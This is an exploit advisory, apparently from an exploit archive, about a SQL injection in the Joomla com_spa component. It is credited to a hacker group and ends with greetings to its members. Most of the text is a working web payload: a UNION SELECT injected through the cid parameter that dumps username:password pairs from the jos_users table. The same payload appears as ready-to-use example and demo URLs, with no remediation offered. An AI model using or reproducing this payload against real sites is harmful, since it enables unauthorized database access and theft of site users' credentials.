38 lines
941 B
Text
Executable file
38 lines
941 B
Text
Executable file
===================================================
|
|
Joomla Component (com_spa) SQL Injection Vulnerability
|
|
===================================================
|
|
|
|
Author : Palyo34 & KroNicKq
|
|
|
|
Homepage : http://www.1923turk.com
|
|
|
|
===================================================
|
|
|
|
|
|
[+] Vulnerable File :
|
|
|
|
|
|
http://www.site.com/index.php?option=com_spa&view=spa_product&cid=[SQL]
|
|
|
|
|
|
[+] ExploiT :
|
|
|
|
-1+union+select concat(username,0x3a,password)+from+jos_users
|
|
|
|
|
|
[+] Example :
|
|
|
|
http://www.site.com/index.php?option=com_spa&view=spa_product&cid=-1+union+select concat(username,0x3a,password)+from+jos_users
|
|
|
|
|
|
[+] Demo :
|
|
|
|
http://www.site.com/index.php?option=com_spa&view=spa_product&cid=-20+union+select+concat(username,0x3a,password)+from+jos_users
|
|
|
|
|
|
===================================================
|
|
I Lowe You Joomla :))
|
|
===================================================
|
|
|
|
Greetz : 1923Turk All Users
|
|
|